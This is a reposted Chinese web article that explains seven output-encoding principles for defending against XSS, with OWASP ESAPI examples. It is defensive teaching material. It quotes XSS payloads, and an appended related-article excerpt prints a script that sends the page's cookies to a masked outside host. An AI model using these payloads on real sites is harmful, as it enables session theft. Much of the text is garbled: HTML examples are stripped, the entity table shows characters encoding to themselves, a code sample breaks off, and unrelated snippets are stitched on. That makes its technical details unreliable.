防御XSS攻击的七条原则

前言

本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:《Stored and Reflected XSS Attack》《DOM Based XSS

攻击者可以利用XSS漏洞向用户发送攻击脚本,而用户的浏览器因为没有办法知道这段脚本是不可信的,所以依然会执行它。对于浏览器而言,它认为这段脚本是来自可以信任的服务器的,所以脚本可以光明正大地访问Cookie,或者保存在浏览器里被当前网站所用的敏感信息,甚至可以知道用户电脑安装了哪些软件。这些脚本还可以改写HTML页面,进行钓鱼攻击。

虽然产生XSS漏洞的原因各种各样,对于漏洞的利用也是花样百出,但是如果我们遵循本文提到防御原则,我们依然可以做到防止XSS攻击的发生。

有人可能会问,防御XSS的核心不就是在输出不可信数据的时候进行编码,而现如今流行的Web框架(比如Rails)大多都在默认情况下就对不可信数据进行了HTML编码,帮我们做了防御,还用得着我们自己再花时间研究如何防御XSS吗?答案是肯定的,对于将要放置到HTML页面body里的不可信数据,进行HTML编码已经足够防御XSS攻击了,甚至将HTML编码后的数据放到HTML标签(TAG)的属性(attribute)里也不会产生XSS漏洞(但前提是这些属性都正确使用了引号),但是,如果你将HTML编码后的数据放到了 直接插入到SCRIPT标签里 <!– …不要在这里直接插入不可信数据… –> 插入到HTML注释里

 

插入到HTML标签的属性名里

 

插入到HTML标签的属性值里 <不要在这里直接插入不可信数据 href=”…”> 作为HTML标签的名字直接插入到CSS里

最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里,一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等。

原则2:在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码

在这里相当强调是往HTML标签之间插入不可信数据,以区别于往HTML标签属性部分插入不可信数据,因为这两者需要进行不同类型的编码。当你确实需要往HTML标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行HTML Entity编码。比如,我们经常需要往DIV,P,TD这些标签里放入一些用户提交的数据,这些数据是不可信的,需要对它们进行HTML Entity编码。很多Web框架都提供了HTML Entity编码的函数,我们只需要调用这些函数就好,而有些Web框架似乎更“智能”,比如Rails,它能在默认情况下对所有插入到HTML页面的数据进行HTML Entity编码,尽管不能完全防御XSS,但着实减轻了开发人员的负担。

…插入不可信数据前,对其进行HTML Entity编码…

…插入不可信数据前,对其进行HTML Entity编码…

…插入不可信数据前,对其进行HTML Entity编码…

以此类推,往其他HTML标签之间插入不可信数据前,对其进行HTML Entity编码

[编码规则]
那么HTML Entity编码具体应该做哪些事情呢?它需要对下面这6个特殊字符进行编码:

&     –>     &
<     –>     <
>     –>     >
”     –>     "
‘     –>     '
/     –>     /

有两点需要特别说明的是:

  • 不推荐将单引号( ‘ )编码为 ' 因为它并不是标准的HTML标签
  • 需要对斜杠号( / )编码,因为在进行XSS攻击时,斜杠号对于关闭当前HTML标签非常有用

推荐使用OWASP提供的ESAPI函数库,它提供了一系列非常严格的用于进行各种安全编码的函数。在当前这个例子里,你可以使用:

String encodedContent = ESAPI.encoder().encodeForHTML(
   request.getParameter(“input”));

原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码

这条原则是指,当你要往HTML属性(例如width、name、value属性)的值部分(data value)插入不可信数据的时候,应该对数据进行HTML属性编码。不过需要注意的是,当要往HTML标签的事件处理属性(例如onmouseover)里插入数据的时候,本条原则不适用,应该用下面介绍的原则4对其进行JavaScript编码。

 

属性值部分没有使用引号,不推荐

 

属性值部分使用了单引号

 

属性值部分使用了双引号

[编码规则]

除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 (以&#x开头,HH则是指该字符对应的十六进制数字,分号作为结束符)

之所以编码规则如此严格,是因为开发者有时会忘记给属性的值部分加上引号。如果属性值部分没有使用引号的话,攻击者很容易就能闭合掉当前属性,随后即可插入攻击脚本。例如,如果属性没有使用引号,又没有对数据进行严格编码,那么一个空格符就可以闭合掉当前属性。请看下面这个攻击:

假设HTML代码是这样的:

…content…

攻击者可以构造这样的输入:

x onmouseover=”javascript:alert(/xss/)”

最后,在用户的浏览器里的最终HTML代码会变成这个样子:

…content…

只要用户的鼠标移动到这个DIV上,就会触发攻击者写好的攻击脚本。在这个例子里,脚本仅仅弹出一个警告框,除了恶作剧一下也没有太多的危害,但是在真实的攻击中,攻击者会使用更加具有破坏力的脚本,例如下面这个窃取用户cookie的XSS攻击:

x />

<div

除了空格符可以闭合当前属性外,这些符号也可以:

%     *     +     ,     –     /     ;     <     =     >     ^     |     `(反单引号,IE会认为它是单引号)

可以使用ESAPI提供的函数进行HTML属性编码:

String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(
    request.getParameter(“input”));

原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码

这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(Event Handler,如onmouseover, onload等)。在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分(data value)之中,例如:


除此之外,往JavaScript代码里其他任何地方插入不可信数据都是相当危险的,攻击者可以很容易地插入攻击代码。

值部分使用了单引号

值部分使用了双引号

值部分使用了引号,且事件处理属性的值部分也使用了引号 特别需要注意的是,在XSS防御中,有些JavaScript函数是极度危险的,就算对不可信数据进行JavaScript编码, 也依然会产生XSS漏洞,例如:

[编码规则]

除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \xHH (以 \x 开头,HH则是指该字符对应的十六进制数字)

在对不可信数据做编码的时候,千万不能图方便使用反斜杠( \ )对特殊字符进行简单转义,比如将双引号 ” 转义成 \” ,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击。例如:

假设代码片段如下:


攻击者输入的内容为:

\”; alert(‘xss’);//

如果只是对双引号进行简单转义,将其替换成 \” 的话,攻击者输入的内容在最终的页面上会变成:


浏览器在解析的时候,会认为反斜杠后面的那个双引号和第一个双引号相匹配,继而认为后续的alert(‘xss’)是正常的JavaScript脚本,因此允许执行。

可以使用ESAPI提供的函数进行JavaScript编码:

String encodedContent = ESAPI.encoder().encodeForJavaScript(
   request.getParameter(“input”));

原则5:在将不可信数据插入到Style属性里时,对这些数据进行CSS编码

当需要往Stylesheet,Style标签或者Style属性里插入不可信数据的时候,需要对这些数据进行CSS编码。传统印象里CSS不过是负责页面样式的,但是实际上它比我们想象的要强大许多,而且还可以用来进行各种攻击。因此,不要对CSS里存放不可信数据掉以轻心,应该只允许把不可信数据放入到CSS属性的值部分,并进行适当的编码。除此以外,最好不要把不可信数据放到一些复杂属性里,比如url, behavior等,只能被IE认识的Expression属性允许执行JavaScript脚本,因此也不推荐把不可信数据放到这里。

[编码规则]

除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \HH (以 \ 开头,HH则是指该字符对应的十六进制数字)

同原则2,原则3,在对不可信数据进行编码的时候,切忌投机取巧对双引号等特殊字符进行简单转义,攻击者可以想办法绕开这类限制。

可以使用ESAPI提供的函数进行CSS编码:

String encodedContent = ESAPI.encoder().encodeForCSS(
    request.getParameter(“input”));

原则6:在将不可信数据插入到HTML URL里时,对这些数据进行URL编码

当需要往HTML页面中的URL里插入不可信数据的时候,需要对其进行URL编码,如下:

Link Content

[编码规则]

除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 %HH (以 % 开头,HH则是指该字符对应的十六进制数字)

在对URL进行编码的时候,有两点是需要特别注意的:

1) URL属性应该使用引号将值部分包围起来,否则攻击者可以很容易突破当前属性区域,插入后续攻击代码
2) 不要对整个URL进行编码,因为不可信数据可能会被插入到href, src或者其他以URL为基础的属性里,这时需要对数据的起始部分的协议字段进行验证,否则攻击者可以改变URL的协议,例如从HTTP协议改为DATA伪协议,或者javascript伪协议。

可以使用ESAPI提供的函数进行URL编码:

String encodedContent = ESAPI.encoder().encodeForURL(
    request.getParameter(“input”));

ESAPI还提供了一些用于检测不可信数据的函数,在这里我们可以使用其来检测不可信数据是否真的是一个URL:

String userProvidedURL = request.getParameter(“userProvidedURL”);
boolean isValidURL = ESAPI.validator().isValidInput(
   “URLContext”, userProvidedURL, “URL”, 255, false);
if (isValidURL) {
  ”>
}

原则7:使用富文本时,使用XSS规则引擎进行编码过滤

Web应用一般都会提供用户输入富文本信息的功能,比如BBS发帖,写博客文章等,用户提交的富文本信息里往往包含了HTML标签,甚至是JavaScript脚本,如果不对其进行适当的编码过滤的话,则会形成XSS漏洞。但我们又不能因为害怕产生XSS漏洞,所以就不允许用户输入富文本,这样对用户体验伤害很大。

 原文发布时间为:2013-05-29

本文来自合作伙伴“Linux中国”

时间: 2024-11-02 22:37:53

防御XSS攻击的七条原则的相关文章

防御XSS的七条原则

 攻击者可以利用XSS漏洞向用户发送攻击脚本,而用户的浏览器因为没有办法知道这段脚本是不可信的,所以依然会执行它.对于浏览器而言,它认为这段脚本是来自可以信任的服务器的,所以脚本可以光明正大地访问Cookie,或者保存在浏览器里被当前网站所用的敏感信息,甚至可以知道用户电脑安装了哪些软件.这些脚本还可以改写HTML页面,进行钓鱼攻击. 虽然产生XSS漏洞的原因各种各样,对于漏洞的利用也是花样百出,但是如果我们遵循本文提到防御原则,我们依然可以做到防止XSS攻击的发生. 有人可能会问,防御XSS的

如何利用HttpOnly来防御xss攻击

xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了... 如下js获取cookie信息: url=document.top.location.href; cookie=document.cookie; c=new Image(); c.src='http://www.******.com/c.php?c='+coo

Jsoup代码解读之八-防御XSS攻击

防御XSS攻击的一般原理 cleaner是Jsoup的重要功能之一,我们常用它来进行富文本输入中的XSS防御. 我们知道,XSS攻击的一般方式是,通过在页面输入中嵌入一段恶意脚本,对输出时的DOM结构进行修改,从而达到执行这段脚本的目的.对于纯文本输入,过滤/转义HTML特殊字符<,>,",'是行之有效的办法,但是如果本身http://www.aliyun.com/zixun/aggregation/18678.html">用户输入的就是一段HTML文本(例如博客文章

内容安全策略(CSP),防御 XSS 攻击的好助手

什么是 CSP? 其核心思想十分简单:网站通过发送一个 CSP 头部,来告诉浏览器什么是被授权执行的与什么是需要被禁止的. 这里有一个 PHP 的例子: <?php header("Content-Security-Policy: <your directives>"); ?> 一些指令 你可以定义一些全局规则或者定义一些涉及某一类资源的规则: default-src 'self' ; # self = 同端口,同域名,同协议 => 允许 基础参数是 de

世界第一个XSS攻击蠕虫的原理

Kamkar近日在Github上发布了 一款软件并附上指导教程,教你如何修改无人机设置,使之认证失效并对其进行攻击.该Perl软件名为SkyJack,运行在 Raspberry Pi上并使用其它开源软件来劫持飞行器.这一新闻让我对此人非常敬佩,翻译了他关于如何在MySpace上实现第一个XSS工具蠕虫代码的说明,翻译的过程也是对XSS攻击的一次学习过程和对黑客精神的震撼.1)Myspace 屏蔽了很多标志符.事实上,他们只允许<a>,<img>类,和<div>类,或许还

防御DDoS攻击实用指南 守住你的网站_win服务器

一.为何要DDoS? 随着Internet互联网络带宽的增加和多种DDoS黑客工具的不断发布,DDoS拒绝服务攻击的实施越来越轻易,DDoS攻击事件正在成上升趋势.出于商业竞争.打击报复和网络敲诈等多种因素,导致很多IDC托管机房.商业站点.游戏服务器.聊天网络等网络服务商长期以来一直被DDoS攻击所困扰,随之而来的是客户投诉.同虚拟主机用户受牵连.法律纠纷.商业损失等一系列问题,因此,解决DDoS攻击问题成为网络服务商必须考虑的头等大事. 二.什么是DDoS? DDoS是英文Distribut

XSS攻击的解决方法

在我上一篇<前端安全之XSS攻击>文中,并没有把XSS攻击的解决办法说完整,而XSS的攻击又那么五花八门,有没有一招"独孤九剑"能够抗衡,毕竟那么多情况场景,开发人员无法一一照顾过来,而今天通过阅读<白帽子讲Web安全>这本书,对应对方式有了更好的总结,分为两类,一是服务端可以干的事,二是客户端可以干的事. 前提 在说XSS解决方式时,有一个前提.就是同源策略--浏览器的同源策略(浏览器安全的基础,即使是攻击脚本也要遵守这法则),限制了来自不同源的"d

使用脚本隔离技术对抗XSS攻击

本文讲的是使用脚本隔离技术对抗XSS攻击, 概述 在圣诞节之后,我与@mikewest和@fgrx讨论了关于使用"隔离"的概念(将会在下面解释)作为对抗XSS漏洞攻击的安全缓解措施.这看起来似乎是一个很有趣的问题,因此,我花了一些时间研究了一下. 下面描述的设计方案将允许你(web开发人员)通过两个简单的步骤保护一些客户端免受XSS攻击: 设置新的cookie标志(isolatedScript = true) 设置一个HTTP标头(Isolated-Script:true) 就这样.有

《XSS跨站脚本攻击剖析与防御》—第6章6.4节利用Flash进行XSS攻击剖析

6.4 利用Flash进行XSS攻击剖析 XSS跨站脚本攻击剖析与防御 利用嵌入Web页面中的Flash进行XSS有一个决定因素:allowScriptAccess属性.allowScriptAccess是使用或 下面是一个简单的示例: allowScriptAccess属性控制着Flash与HTML页面的通信,可选的值有3个: always:允许随时执行脚本操作 never:禁止所有脚本执行操作 samedomain:只有在Flash 应用程序来自与HTML页相同的域时才允许执行脚本操作 其属